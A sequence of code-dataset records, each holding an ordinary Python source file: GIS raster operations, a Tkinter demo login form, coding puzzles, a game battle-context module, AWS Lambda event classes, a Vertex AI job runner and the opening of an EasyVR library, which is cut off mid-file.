np.array(xti[:,ii])\n X2 = np.array(xoi[:,ii])\n X1=f.tab2tab(X1)\n X2=f.tab2tab(X2)\n X1=X1.T\n X2=X2.T\n #raw_input()\n C = 5\n #clf = svm.OneClassSVM(nu=0.1, kernel=\"rbf\", gamma=0.1)\n #clf.fit(X1.T)\n K1 = np.dot(X1.T, X1) # the linear kernel\n K2 = np.dot(X2.T, X2) # the linear kernel\n m=0\n model1 = dd.svdd(X1, K1, C)\n mX2=[]\n for m in range(np.size(X2,1)):\n #y_pred = clf.predict(X2[:, m])\n diff = dd.svdd_test(model1, X2[:, m])\n #print diff[0]\n mX2.append((diff[0]))\n \n moy=np.mean(mX2)\n med=np.mean(mX2)\n #print (0.5*(moy+med))\n if (0.5*(moy+med)>2) :\n ctm+=1\n me=me+(moy+med)/2\n ram=ram+np.mean(X1)/np.mean(X2)\n #print ram,me,ctm\n #raw_input()\n #print ctm/np.size(xti,1)\n if ctm/np.size(xti,1)>0.3:\n #print 'ok',func.flou(2,1.05,2.3,4)\n iter+=1\n if np.mean(X1)>np.mean(X2):\n eta='dec'\n else:\n eta='inc'\n flo=0.4*func.flou(me/ctm,10,200,500)+0.6*func.flou(ram/ctm,0.8,1.2,4) \n res.append((inm[i],flo,eta))\n\n return res\n\n\n","sub_path":"plugins/hsqc/fark.py","file_name":"fark.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"180146405","text":"\"\"\"Copyright (c) 2014 High-Performance Computing and GIS (HPCGIS) Laboratory. All rights reserved.\nUse of this source code is governed by a BSD-style license that can be found in the LICENSE file.\nAuthors and contributors: Eric Shook (eshook@kent.edu); Jayakrishnan Ajayakumar (jajayaku@kent.edu) \n\"\"\"\nfrom ..core.Operation import *\nfrom ..core.Scheduler import *\nfrom ..util.OperationBuilder import *\nimport numpy as np\nimport types\nimport math\nfrom numba import jit\n#from scipy import stats\n\n@executor\n@focaloperation\ndef FocalMean_np_exec(self, subdomains):\n # Get the array from the output subdomain as well as the output subdomain\n outsubdomain = subdomains[0]\n outarr = outsubdomain.get_nparray() \n # Get the input subdomain\n insubdomain = subdomains[1]\n inarr = insubdomain.get_nparray() \n\n # Get the buffersize for the focal operation\n buffersize=self.buffersize\n\n locind={}\n\n for roworig in xrange(outsubdomain.nrows):\n for colorig in xrange(outsubdomain.ncols):\n # Calculate the row and column positions (global for the study area)\n # which is why we add outsubdomain.{r,c}\n locind['r']=roworig+outsubdomain.r\n locind['c']=colorig+outsubdomain.c\n\n # The following 2 lines of code are the easy-to-read version of the code below\n # Essentially we get the location for the input array and then average it\n # Get the array from the location\n #arr=insubdomain.bufferedlocgetarr(locind,buffersize)\n # Calculate the mean and set it\n #outarr[roworig][colorig]=np.average(arr)\n\n # Add the offsets for the subdomains (difference etween out/input subdomains) \n row=locind['r']-insubdomain.r\n col=locind['c']-insubdomain.c\n # Calculate the starting row and column accounting for buffersize and the edge of layer\n r=max(0,row-buffersize)\n c=max(0,col-buffersize)\n\n # Calculate the h accounting for buffersize and edge of layer\n h=buffersize+(row-r)+1\n if (r+h > insubdomain.nrows):\n h=insubdomain.nrows-r\n\n # Same for width \n w=buffersize+(col-c)+1\n if (c+w > insubdomain.ncols):\n w=insubdomain.ncols-c\n\n # Take a slice of the array (inarr) based on those calculations, average the results\n outarr[roworig][colorig]=np.average(inarr[r:r + h, c:c + w])\n\n#Helper function to claculate shade using Numba\n@jit(nopython=True)\ndef numbashadecalculator_new(outarray,outarrdim,inputarray,inputarrdim,parameterdata,nodata_value):\n buffersize=1\n for i in xrange(outarrdim[0]):\n for j in xrange(outarrdim[1]):\n rout,cout=i+outarrdim[2],j+outarrdim[3]\n rin,cin=rout-inputarrdim[2],cout-inputarrdim[3]\n r,c=rin-buffersize,cin-buffersize\n if r<0:\n r=0\n if c<0:\n c=0\n h=buffersize+(rin-r)+1\n if r+h > inputarrdim[0]:\n h=inputarrdim[0]-r\n w=buffersize+(cin-c)+1\n if c+w > inputarrdim[1]:\n w=inputarrdim[1]-c\n arr=inputarray[r:r+h,c:c+w]\n arraysize=arr.size\n if(arraysize!= 9):\n outarray[i][j]=nodata_value\n continue\n containsnodata=False\n for ii in xrange(3):\n for jj in xrange(3):\n if arr[ii][jj]==nodata_value:\n containsnodata=True\n break\n if (containsnodata):\n break\n if (containsnodata):\n outarray[i][j]=nodata_value\n continue\n dzdx=((arr[2][2]+2*arr[1][2]+arr[0][2]) - (arr[2][0]+2*arr[1][0]+arr[0][0]))/ parameterdata[0]\n dzdy=((arr[2][0]+2*arr[2][1]+arr[2][2]) - (arr[0][0]+2*arr[0][1]+arr[0][2])) / parameterdata[0]\n xx_plus_yy = (dzdx*dzdx) + (dzdy*dzdy)\n aspect=np.arctan2(dzdy,-dzdx)\n shade=(parameterdata[2] - parameterdata[4] * np.sqrt(xx_plus_yy) * np.sin(aspect - parameterdata[3]))/np.sqrt(1+parameterdata[5] * xx_plus_yy)\n if (shade <= 0):\n shade=1.0\n else:\n shade=1.0 + (254.0 * shade)\n outarray[i][j]=np.ceil(shade) \n\n#Hillshade calculation using numba\n@executor\n@focaloperation\ndef HillShade_Exec_Numba(self,subdomains): # Experimental\n dataarray=subdomains[1].get_nparray()\n altitude=45\n azimuth=315\n rtod=3.1415926535897932384626433832795/180.0 # ( pi / 180.0 )\n outarray=subdomains[0].get_nparray()\n sin_altRadians = np.sin(altitude*rtod)\n azRadians=azimuth*rtod\n z_scale_factor = 1/8.0\n cos_altRadians_mul_z_scale_factor=np.cos(altitude * rtod) * z_scale_factor\n square_z_scale_factor = z_scale_factor * z_scale_factor\n parameterdata=np.array([subdomains[1].cellsize,-(subdomains[1].cellsize),sin_altRadians,azRadians,cos_altRadians_mul_z_scale_factor,square_z_scale_factor])\n outarrdim=np.array([subdomains[0].nrows,subdomains[0].ncols,subdomains[0].r,subdomains[0].c])\n datarrdim=np.array([subdomains[1].nrows,subdomains[1].ncols,subdomains[1].r,subdomains[1].c])\n numbashadecalculator_new(outarray,outarrdim,dataarray,datarrdim,parameterdata,subdomains[1].nodata_value)\n\n#Helper function to calculate contour lines using numba\ndef countour_line_calc(outarray,outarrdim,inputarray,inputarrdim,buffersize,nodata_value):\n cntrline=5.0\n for i in xrange(outarrdim[0]):\n for j in xrange(outarrdim[1]):\n rout,cout=i+outarrdim[2],j+outarrdim[3]\n rin,cin=rout-inputarrdim[2],cout-inputarrdim[3]\n r,c=rin-buffersize,cin-buffersize\n if r<0:\n r=0\n if c<0:\n c=0\n h=buffersize+(rin-r)+1\n if r+h > inputarrdim[0]:\n h=inputarrdim[0]-r\n w=buffersize+(cin-c)+1\n if c+w > inputarrdim[1]:\n w=inputarrdim[1]-c\n arr=inputarray[r:r+h,c:c+w]\n arraysize=arr.size\n if(arraysize!= 9):\n outarray[i][j]=nodata_value\n continue\n containsnodata=False\n for ii in xrange(3):\n for jj in xrange(3):\n if arr[ii][jj]==nodata_value:\n containsnodata=True\n break\n if (containsnodata):\n break\n if (containsnodata):\n outarray[i][j]=nodata_value\n continue\n q=np.floor(arr[1][1]/cntrline)\n r=arr[1][1]%cntrline\n cutoff=(q+1)*cntrline\n if(arr[2][1]>=cutoff or arr[1][2]>=cutoff or arr[0][1]>=cutoff or arr[1][0]>=cutoff):\n outarray[i][j]=1\n continue\n sum=0\n for tt in xrange(3):\n for ss in xrange(3):\n sum=sum+arr[tt][ss]\n if(np.floor(sum/arraysize)%10 != 0):\n outarray[i][j]=1\n else:\n outarray[i][j]=0\n\n#Function to calculate contour lines using Numba\n@executor\n@focaloperation\ndef Contour_Lines_Numba(self,subdomains): # Experimental\n dataarray=subdomains[1].get_nparray()\n outarray=subdomains[0].get_nparray()\n outarrdim=np.array([subdomains[0].nrows,subdomains[0].ncols,subdomains[0].r,subdomains[0].c])\n datarrdim=np.array([subdomains[1].nrows,subdomains[1].ncols,subdomains[1].r,subdomains[1].c])\n countour_line_calc(outarray,outarrdim,dataarray,datarrdim,self.buffersize,subdomains[1].nodata_value)\n\n","sub_path":"pcml/lib/FocalOperationExecutors.py","file_name":"FocalOperationExecutors.py","file_ext":"py","file_size_in_byte":7684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"295403598","text":"#coding:utf8\nimport time\nfrom Tkinter import *\ntop=Tk()\ntop.geometry('250x150+400+300')\n# for i in range(5):\n# Button=Button(top,width=10,height=2,bg='blue',text=i,command=lambda text=i:Label(text='hello i!')).pack()\n# mainloop()\n# Button(top,text='A').pack(side=LEFT,expand=YES,fill=Y)\n# Button(top,text='B').pack(side=TOP,expand=YES,fill=BOTH)\n# Button(top,text='C').pack(side=LEFT,expand=YES,fill=NONE,anchor=NE)\n# Button(top,text='D').pack(side=LEFT,expand=NO,fill=Y)\n# Button(top,text='E').pack(side=TOP,expand=NO,fill=BOTH)\n# Button(top,text='F').pack(side=BOTTOM,expand=YES)\n# Button(top,text='G').pack(anchor=SE)\n\ndef reg():\n s1=var1.get()\n s2=var2.get()\n t1=len(s1)\n t2=len(s2)\n if s1=='111'and s2=='222':\n\n # Message.showinfo( message = '登录成功')\n var3.set('登录成功')\n else:\n #messagebox.showinfo( message = '用户名密码不正确')\n var3.set('用户名密码不正确')\n var1.set('')\n var2.set('')\n \n\n\nl=Label(top,text='账号').grid(row=0,sticky=W)\n\nl2=Label(top,text='密码').grid(row=1,column=0,sticky=W)\n\nvar1=StringVar()\ne1=Entry(top,textvariable=var1,width=20)\ne1.grid(row=0,column=1,sticky=E)\n\nvar2=StringVar()\ne2=Entry(top,textvariable=var2)\ne2['show']='*'\ne2.grid(row=1,column=1,sticky=E)\n\n\nButton(top,text='登录',command=reg).grid(row=2,column=1,sticky=E)\n\nvar3=StringVar()\nc=Label(top,text='',textvariable=var3).grid(row=3,column=1,sticky=W)\n\n\nmainloop()","sub_path":"python/Demo/GUI_test/gui_tk4.py","file_name":"gui_tk4.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"549355074","text":"#Given a non-empty array of integers, every element appears twice except for one. Find that single one.\n\n#Note:\n\n#Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?\n\n#Example 1:\n\n#Input: [2,2,1]\n#Output: 1\n#Example 2:\n\n#Input: [4,1,2,1,2]\n#Output: 4\n\nclass Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n res = nums[0]\n for n in nums[1:]:\n res ^= n\n print(res)\n return res\n\ns = Solution()\nnums = [4,1,2,1,2]\ns.singleNumber(nums)","sub_path":"python_code/136_Single_Number.py","file_name":"136_Single_Number.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"107986368","text":"from itertools import combinations\r\n\r\nclass solution:\r\n def myself(self, N:int, S:int) -> int:\r\n \r\n sequence = list(map(int, input().split()))\r\n\r\n cnt = 0\r\n\r\n for i in range(1, len(sequence) + 1):\r\n for part in list(combinations(sequence, i)):\r\n if sum(part) == S:\r\n cnt += 1\r\n \r\n\r\n return cnt\r\n\r\nsol = solution()\r\n\r\nN, S = map(int, input().split())\r\n\r\nprint(sol.myself(N, S))","sub_path":"geonhokim/1.Brute_force_Search/부분수열의합.py","file_name":"부분수열의합.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"189550579","text":"# Copyright 2021 The Kubeflow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Common module for launching and managing the Vertex Job resources.\"\"\"\n\nimport json\nimport logging\nimport os\nfrom os import path\nimport re\nimport time\nfrom typing import Optional\n\nfrom .utils import json_util\nfrom google.api_core import gapic_v1\nfrom google.cloud import aiplatform\nfrom google.cloud.aiplatform_v1.types import job_state as gca_job_state\nfrom google.protobuf import json_format\nfrom google_cloud_pipeline_components.proto.gcp_resources_pb2 import GcpResources\n\n_POLLING_INTERVAL_IN_SECONDS = 20\n_CONNECTION_ERROR_RETRY_LIMIT = 5\n\n_JOB_COMPLETE_STATES = (\n gca_job_state.JobState.JOB_STATE_SUCCEEDED,\n gca_job_state.JobState.JOB_STATE_FAILED,\n gca_job_state.JobState.JOB_STATE_CANCELLED,\n gca_job_state.JobState.JOB_STATE_PAUSED,\n)\n\n_JOB_ERROR_STATES = (\n gca_job_state.JobState.JOB_STATE_FAILED,\n gca_job_state.JobState.JOB_STATE_CANCELLED,\n gca_job_state.JobState.JOB_STATE_PAUSED,\n)\n\n\nclass JobRemoteRunner():\n \"\"\"Common module for creating and poll jobs on the Vertex Platform.\"\"\"\n\n def __init__(self, job_type, project, location, gcp_resources):\n \"\"\"Initlizes a job client and other common attributes.\"\"\"\n self.job_type = job_type\n self.project = project\n self.location = location\n self.gcp_resources = gcp_resources\n self.client_options = {\n 'api_endpoint': location + '-aiplatform.googleapis.com'\n }\n self.client_info = gapic_v1.client_info.ClientInfo(\n user_agent='google-cloud-pipeline-components')\n self.job_client = aiplatform.gapic.JobServiceClient(\n client_options=self.client_options, client_info=self.client_info)\n self.job_uri_prefix = f\"https://{self.client_options['api_endpoint']}/v1/\"\n\n def check_if_job_exists(self) -> Optional[str]:\n \"\"\"Check if the job already exists.\"\"\"\n if path.exists(self.gcp_resources) and os.stat(\n self.gcp_resources).st_size != 0:\n with open(self.gcp_resources) as f:\n serialized_gcp_resources = f.read()\n job_resources = json_format.Parse(serialized_gcp_resources,\n GcpResources())\n # Resources should only contain one item.\n if len(job_resources.resources) != 1:\n raise ValueError(\n f'gcp_resources should contain one resource, found {len(job_resources.resources)}'\n )\n\n job_name_group = re.findall(\n job_resources.resources[0].resource_uri,\n f'{self.job_uri_prefix}(.*)')\n\n if not job_name_group or not job_name_group[0]:\n raise ValueError(\n 'Job Name in gcp_resource is not formatted correctly or is empty.'\n )\n job_name = job_name_group[0]\n\n logging.info(\n '%s name already exists: %s. Continue polling the status',\n self.job_type, job_name)\n return job_name\n else:\n return None\n\n def create_job(self, create_job_fn, payload) -> str:\n \"\"\"Create a job.\"\"\"\n parent = f'projects/{self.project}/locations/{self.location}'\n # TODO(kevinbnaughton) remove empty fields from the spec temporarily.\n job_spec = json_util.recursive_remove_empty(json.loads(payload, strict=False))\n create_job_response = create_job_fn(self.job_client, parent, job_spec)\n job_name = create_job_response.name\n\n # Write the job proto to output.\n job_resources = GcpResources()\n job_resource = job_resources.resources.add()\n job_resource.resource_type = self.job_type\n job_resource.resource_uri = f'{self.job_uri_prefix}{job_name}'\n\n with open(self.gcp_resources, 'w') as f:\n f.write(json_format.MessageToJson(job_resources))\n\n return job_name\n\n def poll_job(self, get_job_fn, job_name: str):\n \"\"\"Poll the job status.\"\"\"\n retry_count = 0\n while True:\n try:\n get_job_response = get_job_fn(self.job_client, job_name)\n retry_count = 0\n # Handle transient connection error.\n except ConnectionError as err:\n retry_count += 1\n if retry_count < _CONNECTION_ERROR_RETRY_LIMIT:\n logging.warning(\n 'ConnectionError (%s) encountered when polling job: %s. Trying to '\n 'recreate the API client.', err, job_name)\n # Recreate the Python API client.\n self.job_client = aiplatform.gapic.JobServiceClient(\n self.client_options, self.client_info)\n else:\n logging.error('Request failed after %s retries.',\n _CONNECTION_ERROR_RETRY_LIMIT)\n # TODO(ruifang) propagate the error.\n raise\n\n if get_job_response.state == gca_job_state.JobState.JOB_STATE_SUCCEEDED:\n logging.info('Get%s response state =%s', self.job_type,\n get_job_response.state)\n return get_job_response\n elif get_job_response.state in _JOB_ERROR_STATES:\n # TODO(ruifang) propagate the error.\n raise RuntimeError('Job failed with error state: {}.'.format(\n get_job_response.state))\n else:\n logging.info(\n 'Job %s is in a non-final state %s.'\n ' Waiting for %s seconds for next poll.', job_name,\n get_job_response.state, _POLLING_INTERVAL_IN_SECONDS)\n time.sleep(_POLLING_INTERVAL_IN_SECONDS)\n","sub_path":"components/google-cloud/google_cloud_pipeline_components/container/experimental/gcp_launcher/job_remote_runner.py","file_name":"job_remote_runner.py","file_ext":"py","file_size_in_byte":6426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"51277124","text":"\r\ndef menu():\r\n x=input('Please choose the program you want to work with')\r\n print('A.Check a palindrome')\r\n print('B.Check a word square')\r\n print('C.Quit')\r\n return x\r\ndef menu_chocie(x):\r\n while True:\r\n if x=='A':\r\n return A\r\n elif x=='B':\r\n return B\r\n elif x=='C':\r\n print('Thank for using our calculation. See you later.')\r\n return 'end'\r\n else:\r\n print('Please select the correct program')\r\ndef get_pharse():\r\n while True:\r\n pharse=input('Please enter an English pharse')\r\n if pharse.isdigit() is True or len(pharse.strip())==0:\r\n print('I do not understand')\r\n else:\r\n return pharse\r\ndef is_palindrome(pharse):\r\n pharse=pharse.lower()\r\n pharse=''.join([char for char in pharse if char.isalpha()])\r\n length=len(pharse)\r\n print(pharse)\r\n \r\n\r\n \r\n \r\n\r\n \r\n \r\n \r\n","sub_path":"HW2.py","file_name":"HW2.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"328801486","text":"# Embedded file name: scripts/client/gui/battle_control/BattleContext.py\r\nimport BigWorld\r\nimport Settings\r\nfrom gui import game_control\r\nfrom gui.battle_control.battle_constants import PLAYER_ENTITY_NAME\r\ndefNormalizePNameFunction = lambda pName: pName\r\n\r\nclass BattleContext(object):\r\n\r\n class FORMAT_MASK:\r\n NONE = 0\r\n VEHICLE = 1\r\n CLAN = 16\r\n REGION = 256\r\n VEH_CLAN = VEHICLE | CLAN\r\n VEH_REGION = VEHICLE | REGION\r\n REG_CLAN = CLAN | REGION\r\n ALL = VEHICLE | CLAN | REGION\r\n\r\n __playerFullNameFormats = {FORMAT_MASK.VEHICLE: '{0:>s} ({2:>s})',\r\n FORMAT_MASK.CLAN: '{0:>s}[{1:>s}]',\r\n FORMAT_MASK.VEH_CLAN: '{0:>s}[{1:>s}] ({2:>s})',\r\n FORMAT_MASK.REGION: '{0:>s} {3:>s}',\r\n FORMAT_MASK.VEH_REGION: '{0:>s} {3:>s} ({2:>s})',\r\n FORMAT_MASK.REG_CLAN: '{0:>s}[{1:>s}] {3:>s}',\r\n FORMAT_MASK.ALL: '{0:>s}[{1:>s}] {3:>s} ({2:>s})'}\r\n __normalizePName = staticmethod(defNormalizePNameFunction)\r\n\r\n def setNormalizePlayerName(self, function):\r\n BattleContext.__normalizePName = staticmethod(function)\r\n\r\n def resetNormalizePlayerName(self):\r\n BattleContext.__normalizePName = staticmethod(defNormalizePNameFunction)\r\n\r\n def __init__(self):\r\n super(BattleContext, self).__init__()\r\n self.__arenaDP = None\r\n self.__isShowVehShortName = True\r\n self.lastArenaUniqueID = None\r\n self.isInBattle = False\r\n self.wasInBattle = False\r\n return\r\n\r\n def start(self, arenaDP):\r\n prefs = Settings.g_instance.userPrefs\r\n if prefs is not None:\r\n self.__isShowVehShortName = prefs.readBool('showVehShortName', True)\r\n self.__arenaDP = arenaDP\r\n self.isInBattle = self.wasInBattle = True\r\n return\r\n\r\n def stop(self):\r\n self.isInBattle = False\r\n self.__arenaDP = None\r\n return\r\n\r\n def getArenaDP(self):\r\n return self.__arenaDP\r\n\r\n def getVehIDByAccDBID(self, accDBID):\r\n return self.__arenaDP.getVehIDByAccDBID(accDBID)\r\n\r\n def getFullPlayerNameWithParts(self, vID = None, accID = None, pName = None, showVehShortName = True, showClan = True, showRegion = True):\r\n FM = self.FORMAT_MASK\r\n key = FM.NONE\r\n vehShortName = ''\r\n vehName = ''\r\n if vID is None:\r\n vID = self.__arenaDP.getVehIDByAccDBID(accID)\r\n vInfo = self.__arenaDP.getVehicleInfo(vID)\r\n if accID is None:\r\n accID = vInfo.player.accountDBID\r\n vehType = vInfo.vehicleType\r\n if vehType is not None:\r\n if showVehShortName and self.__isShowVehShortName:\r\n vehName = vehShortName = vehType.shortName\r\n key |= FM.VEHICLE\r\n else:\r\n vehName = vehType.name\r\n if pName is None:\r\n pName = vInfo.player.name\r\n pName = self.__normalizePName(pName)\r\n clanAbbrev = ''\r\n if showClan:\r\n clanAbbrev = vInfo.player.clanAbbrev\r\n if clanAbbrev is not None and len(clanAbbrev) > 0:\r\n key |= FM.CLAN\r\n regionCode = ''\r\n if showRegion:\r\n regionCode = self.getRegionCode(accID)\r\n if regionCode:\r\n key |= FM.REGION\r\n if key == FM.NONE:\r\n fullName = pName\r\n else:\r\n fullName = self.__playerFullNameFormats.get(key, '{0:>s}').format(pName, clanAbbrev, vehShortName, regionCode)\r\n return (fullName,\r\n pName,\r\n clanAbbrev,\r\n regionCode,\r\n vehName)\r\n\r\n def getFullPlayerName(self, vID = None, accID = None, pName = None, showVehShortName = True, showClan = True, showRegion = True):\r\n return self.getFullPlayerNameWithParts(vID, accID, pName, showVehShortName, showClan, showRegion)[0]\r\n\r\n def getRegionCode(self, dbID):\r\n regionCode = None\r\n if dbID and not game_control.g_instance.roaming.isSameRealm(dbID):\r\n _, regionCode = game_control.g_instance.roaming.getPlayerHome(dbID)\r\n return regionCode\r\n\r\n def isSquadMan(self, vID = None, accID = None, prebattleID = None):\r\n if vID is None:\r\n vID = self.__arenaDP.getVehIDByAccDBID(accID)\r\n return vID and self.__arenaDP.isSquadMan(vID, prebattleID)\r\n\r\n def isTeamKiller(self, vID = None, accID = None):\r\n if vID is None:\r\n vID = self.__arenaDP.getVehIDByAccDBID(accID)\r\n return vID and self.__arenaDP.isTeamKiller(vID)\r\n\r\n def isObserver(self, vID):\r\n return self.__arenaDP.isObserver(vID)\r\n\r\n def isPlayerObserver(self):\r\n return self.isObserver(getattr(BigWorld.player(), 'playerVehicleID', -1))\r\n\r\n def isInTeam(self, vID = None, accID = None, enemy = False):\r\n if vID is None:\r\n vID = self.__arenaDP.getVehIDByAccDBID(accID)\r\n return self.__arenaDP.getVehicleInfo(vID).team == self.__arenaDP.getNumberOfTeam(enemy)\r\n\r\n def getPlayerEntityName(self, vID, team):\r\n if BigWorld.player().team == team:\r\n if self.isSquadMan(vID=vID):\r\n return PLAYER_ENTITY_NAME.squadman\r\n if self.isTeamKiller(vID=vID):\r\n return PLAYER_ENTITY_NAME.teamKiller\r\n return PLAYER_ENTITY_NAME.ally\r\n return PLAYER_ENTITY_NAME.enemy\r\n\r\n def getTeamName(self, myTeam, isAlliedTeam):\r\n teamName = '#menu:loading/team%s' % ('1' if isAlliedTeam else '2')\r\n arena = getattr(BigWorld.player(), 'arena', None)\r\n if arena:\r\n extraData = arena.extraData or {}\r\n if isAlliedTeam:\r\n teamName = extraData.get('opponents', {}).get('%s' % myTeam, {}).get('name', teamName)\r\n else:\r\n teamName = extraData.get('opponents', {}).get('2' if myTeam == 1 else '1', {}).get('name', teamName)\r\n return teamName","sub_path":"scripts/client/gui/battle_control/battlecontext.py","file_name":"battlecontext.py","file_ext":"py","file_size_in_byte":5858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"468232832","text":"import json\nimport traceback\nfrom dataclasses import dataclass\nfrom typing import List\n\n\n@dataclass\nclass SQSEvent:\n messageId: str\n receiptHandle: str\n body: str\n attributes: str\n messageAttributes: str\n md5OfBody: str\n eventSource: str\n eventSourceARN: str\n awsRegion: str\n\n def __init__(self, event):\n try:\n [sqs_record] = event['Records']\n except KeyError:\n traceback.print_exc()\n print('The key \"Records\" is required in lambda event')\n raise KeyError\n\n for key, value in sqs_record.items():\n setattr(self, key, value)\n self.body: dict = json.loads(self.body)\n\n\nclass SMSSQSEvent(SQSEvent):\n\n def __init__(self, event):\n super(SMSSQSEvent, self).__init__(event)\n\n\nclass MailSQSEvent(SQSEvent):\n\n def __init__(self, event):\n super(MailSQSEvent, self).__init__(event)\n\n\n@dataclass\nclass MailingList:\n user_id: int\n reply_id: int\n\n def __init__(self, user_id, reply_id):\n self.user_id = user_id\n self.reply_id = reply_id\n\n\n@dataclass\nclass HTTPEvent:\n mailing_lists: List[MailingList]\n\n def __init__(self, event):\n try:\n self.mailing_lists = []\n self.body = event['body']\n # API Gateway 이벤트는 str 타입, Invoke local 은 dict\n if isinstance(self.body, str):\n self.body = json.loads(self.body)\n except KeyError:\n traceback.print_exc()\n print('The key \"body\" is required in lambda event')\n raise KeyError\n\n for to_send in self.body.get('to_send'):\n mailing_list = MailingList(**to_send)\n self.mailing_lists.append(mailing_list)\n","sub_path":"goldfnd/lib/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"525594711","text":"# Copyright (C) 2017 East Asian Observatory\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nfrom collections import namedtuple\nimport logging\n\nfrom tools4caom2.tapclient import tapclient_ad\n\nfrom jsa_proc.error import JSAProcError\n\nlogger = logging.getLogger(__name__)\n\nADFileInfo = namedtuple('ADFileInfo', ('id_', 'md5'))\n\n\nclass ADTap():\n \"\"\"\n Class for interaction with CADC's AD TAP service.\n \"\"\"\n\n def __init__(self):\n self.tap = tapclient_ad()\n\n def search_file(self, pattern, archive='JCMT', timeout=300):\n result = []\n\n table = self.tap.query(\n 'SELECT fileID, contentMD5 '\n 'FROM archive_files '\n 'WHERE ('\n 'archiveName = \\'{}\\' '\n 'AND fileID LIKE \\'{}\\''\n ')'.format(archive, pattern),\n timeout=timeout)\n\n if table is None:\n raise JSAProcError(\n 'Failed TAP query for AD files like {}'.format(pattern))\n\n for (id_, md5) in table:\n result.append(ADFileInfo(id_, md5))\n\n return result\n","sub_path":"lib/jsa_proc/cadc/adtap.py","file_name":"adtap.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"472447610","text":"\"\"\"\r\n.. module:: easyvr\r\n\r\n**************\r\nEasyVR Library\r\n**************\r\n\r\n | **EasyVR library for Python/Zerynth v1.11.1**\r\n | *Copyright (C) 2019 ROBOTECH srl*\r\n |\r\n\r\n Written for Python and Zerynth compatible boards for use with EasyVR modules or\r\n EasyVR Shield boards produced by RoboTech srl with the `Fortebit `_\r\n brand (formerly `VeeaR `_)\r\n\r\n Released under the terms of the MIT license, as found in the accompanying\r\n file COPYING.txt or at this address: ``_\r\n\r\n \"\"\"\r\n\r\n# EasyVR protocol definitions\r\n\r\n_CMD_BREAK = b'b' # abort recog or ping\r\n_CMD_SLEEP = b's' # go to power down\r\n_CMD_KNOB = b'k' # set si knob <1>\r\n_CMD_MIC_DIST = b'k' # set microphone (<1>=-1) distance <2>\r\n_CMD_LEVEL = b'v' # set sd level <1>\r\n_CMD_VERIFY_RP = b'v' # verify filesystem (<1>=-1) with flags <2> (0=check only, 1=fix)\r\n_CMD_LANGUAGE = b'l' # set si language <1>\r\n_CMD_LIPSYNC = b'l' # start real-time lipsync (<1>=-1) with threshold <2-3>, timeout <4-5>\r\n_CMD_TIMEOUT = b'o' # set timeout <1>\r\n_CMD_RECOG_SI = b'i' # do si recog from ws <1>\r\n_CMD_TRAIN_SD = b't' # train sd command at group <1> pos <2>\r\n_CMD_TRAILING = b't' # set trailing (<1>=-1) silence <2> (0-31 = 100-875 milliseconds)\r\n_CMD_GROUP_SD = b'g' # insert new command at group <1> pos <2>\r\n_CMD_UNGROUP_SD = b'u' # remove command at group <1> pos <2>\r\n_CMD_RECOG_SD = b'd' # do sd recog at group <1> (0 = trigger mixed si/sd)\r\n_CMD_DUMP_RP = b'd' # dump message (<1>=-1) at pos <2>\r\n_CMD_ERASE_SD = b'e' # reset command at group <1> pos <2>\r\n_CMD_ERASE_RP = b'e' # erase recording (<1>=-1) at pos <2>\r\n_CMD_NAME_SD = b'n' # label command at group <1> pos <2> with length <3> name <4-n>\r\n_CMD_COUNT_SD = b'c' # get command count for group <1>\r\n_CMD_DUMP_SD = b'p' # read command data at group <1> pos <2>\r\n_CMD_PLAY_RP = b'p' # play recording (<1>=-1) at pos <2> with flags <3>\r\n_CMD_MASK_SD = b'm' # get active group mask\r\n_CMD_RESETALL = b'r' # reset all memory (commands/groups and messages), with <1>='R'\r\n_CMD_RESET_SD = b'r' # reset only commands/groups, with <1>='D'\r\n_CMD_RESET_RP = b'r' # reset only messages, with <1>='M'\r\n_CMD_RECORD_RP = b'r' # record message (<1>=-1) at pos <2> with bits <3> and timeout <4>\r\n_CMD_ID = b'x' # get version id\r\n_CMD_DELAY = b'y' # set transmit delay <1> (log scale)\r\n_CMD_BAUDRATE = b'a' # set baudrate <1> (bit time, 1=>115200)\r\n_CMD_QUERY_IO = b'q' # configure, read or write I/O pin <1> of type <2>\r\n_CMD_PLAY_SX = b'w' # wave table entry <1-2> (10-bit) playback at volume <3>\r\n_CMD_PLAY_DTMF = b'w' # play 